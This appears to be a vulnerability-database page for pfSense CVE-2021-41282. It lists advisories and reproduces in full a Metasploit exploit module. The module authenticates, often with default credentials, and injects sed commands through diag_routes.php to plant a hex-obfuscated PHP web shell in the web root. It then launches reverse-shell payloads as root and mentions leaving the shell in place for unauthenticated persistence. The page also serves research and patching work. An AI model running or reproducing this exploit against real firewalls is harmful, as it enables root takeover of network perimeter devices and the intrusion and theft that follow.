| Reporter | Title | Published | Views | Family All 14 |
|---|---|---|---|---|
| pfSense 2.5.2 Shell Upload Exploit | 4 Mar 202200:00 | – | zdt | |
| CVE-2021-41282 | 3 Mar 202221:29 | – | circl | |
| pfSense 注入漏洞 | 14 Feb 202200:00 | – | cnnvd | |
| pfSense Remote Code Execution (CVE-2021-41282) | 12 May 202200:00 | – | checkpoint_advisories | |
| CVE-2021-41282 | 1 Mar 202222:45 | – | cve | |
| CVE-2021-41282 | 1 Mar 202222:45 | – | cvelist | |
| pfSense Diag Routes Web Shell Upload | 4 Mar 202217:43 | – | metasploit | |
| Vulnerability fixed in pfSense | 24 Feb 202200:00 | – | ncsc | |
| Vulnerabilities fixed in pfSense | 15 Mar 202200:00 | – | ncsc | |
| pfSense - Arbitrary File Write | 6 Jun 202603:01 | – | nuclei |
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'pfSense Diag Routes Web Shell Upload',
'Description' => %q{
This module exploits an arbitrary file creation vulnerability in the pfSense
HTTP interface (CVE-2021-41282). The vulnerability affects versions <= 2.5.2
and can be exploited by an authenticated user if they have the
"WebCfg - Diagnostics: Routing tables" privilege.
This module uses the vulnerability to create a web shell and execute payloads
with root privileges.
},
'License' => MSF_LICENSE,
'Author' => [
'Abdel Adim "smaury" Oisfi of Shielder', # vulnerability discovery
'jbaines-r7' # metasploit module
],
'References' => [
['CVE', '2021-41282'],
['URL', 'https://www.shielder.it/advisories/pfsense-remote-command-execution/']
],
'DisclosureDate' => '2022-02-23',
'Platform' => ['unix', 'bsd'],
'Arch' => [ARCH_CMD, ARCH_X64],
'Privileged' => true,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_openssl'
},
'Payload' => {
'Append' => ' & disown'
}
}
],
[
'BSD Dropper',
{
'Platform' => 'bsd',
'Arch' => [ARCH_X64],
'Type' => :bsd_dropper,
'CmdStagerFlavor' => [ 'curl' ],
'DefaultOptions' => {
'PAYLOAD' => 'bsd/x64/shell_reverse_tcp'
}
}
]
],
'DefaultTarget' => 1,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options [
OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),
OptString.new('PASSWORD', [true, 'Password to authenticate with', 'pfsense']),
OptString.new('WEBSHELL_NAME', [false, 'The name of the uploaded webshell. This value is random if left unset', nil]),
OptBool.new('DELETE_WEBSHELL', [true, 'Indicates if the webshell should be deleted or not.', true])
]
@webshell_uri = '/'
@webshell_path = '/usr/local/www/'
end
# Authenticate and attempt to exploit the diag_routes.php upload. Unfortunately,
# pfsense permissions can be so locked down that we have to try direct exploitation
# in order to determine vulnerability. A user can even be restricted from the
# dashboard (where other pfsense modules extract the version).
def check
# Grab a CSRF token so that we can log in
res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/index.php'))
return CheckCode::Unknown("Didn't receive a response from the target.") unless res
return CheckCode::Unknown("Unexpected HTTP response from index.php: #{res.code}") unless res.code == 200
return CheckCode::Unknown('Could not find pfSense title html tag') unless res.body.include?('<title>pfSense - Login')
/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
return CheckCode::Unknown('Could not find CSRF token') unless csrf
# send the log in attempt
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/index.php'),
'method' => 'POST',
'vars_post' => {
'__csrf_magic' => csrf,
'usernamefld' => datastore['USERNAME'],
'passwordfld' => datastore['PASSWORD'],
'login' => ''
}
)
return CheckCode::Detected('No response to log in attempt.') unless res
return CheckCode::Detected('Log in failed. User provided invalid credentials.') unless res.code == 302
# save the auth cookie for later user
@auth_cookies = res.get_cookies
# attempt the exploit. Upload a random file to /usr/local/www/ with random contents
filename = Rex::Text.rand_text_alpha(4..12)
contents = Rex::Text.rand_text_alpha(16..32)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/diag_routes.php'),
'cookie' => @auth_cookies,
'encode_params' => false,
'vars_get' => {
'isAjax' => '1',
'filter' => ".*/!d;};s/Destination/#{contents}/;w+#{@webshell_path}#{filename}%0a%23"
}
})
return CheckCode::Safe('No response to upload attempt.') unless res
return CheckCode::Safe("Exploit attempt did not receive 200 OK: #{res.code}") unless res.code == 200
# Validate the exploit was successful by requesting the uploaded file
res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "/#{filename}"), 'cookie' => @auth_cookies })
return CheckCode::Safe('No response to exploit validation check.') unless res
return CheckCode::Safe("Exploit validation check did not receive 200 OK: #{res.code}") unless res.code == 200
register_file_for_cleanup("#{@webshell_path}#{filename}")
CheckCode::Vulnerable()
end
# Using the path traversal, upload a php webshell to the remote target
def drop_webshell
webshell_location = normalize_uri(target_uri.path, "#{@webshell_uri}#{@webshell_name}")
print_status("Uploading webshell to #{webshell_location}")
# php_webshell = '<?php if(isset($_GET["cmd"])) { system($_GET["cmd"]); } ?>'
php_shell = '\\x3c\\x3fphp+if($_GET[\\x22cmd\\x22])+\\x7b+system($_GET[\\x22cmd\\x22])\\x3b+\\x7d+\\x3f\\x3e'
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/diag_routes.php'),
'cookie' => @auth_cookies,
'encode_params' => false,
'vars_get' => {
'isAjax' => '1',
'filter' => ".*/!d;};s/Destination/#{php_shell}/;w+#{@webshell_path}#{@webshell_name}%0a%23"
}
})
fail_with(Failure::Disconnected, 'Connection failed') unless res
fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200
# Test the web shell installed by echoing a random string and ensure it appears in the res.body
print_status('Testing if web shell installation was successful')
rand_data = Rex::Text.rand_text_alphanumeric(16..32)
res = execute_via_webshell("echo #{rand_data}")
fail_with(Failure::UnexpectedReply, 'Web shell execution did not appear to succeed.') unless res.body.include?(rand_data)
print_good("Web shell installed at #{webshell_location}")
# This is a great place to leave a web shell for persistence since it doesn't require auth
# to touch it. By default, we'll clean this up but the attacker has to option to leave it
if datastore['DELETE_WEBSHELL']
register_file_for_cleanup("#{@webshell_path}#{@webshell_name}")
end
end
# Executes commands via the uploaded webshell
def execute_via_webshell(cmd)
if target['Type'] == :bsd_dropper
# the bsd dropper using the reverse shell payload + curl cmdstager doesn't have a good
# way to force the payload to background itself (and thus allow the HTTP response to
# to return). So we hack it in ourselves. This identifies the ending file cleanup
# which should be right after executing the payload.
cmd = cmd.sub(';rm -f /tmp/', ' & disown;rm -f /tmp/')
end
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "#{@webshell_uri}#{@webshell_name}"),
'vars_get' => {
'cmd' => cmd
}
})
fail_with(Failure::Disconnected, 'Connection failed') unless res
fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200
res
end
def execute_command(cmd, _opts = {})
execute_via_webshell(cmd)
end
def exploit
# create a randomish web shell name if the user doesn't specify one
@webshell_name = datastore['WEBSHELL_NAME'] || "#{Rex::Text.rand_text_alpha(5..12)}.php"
drop_webshell
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :bsd_dropper
execute_cmdstager
end
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation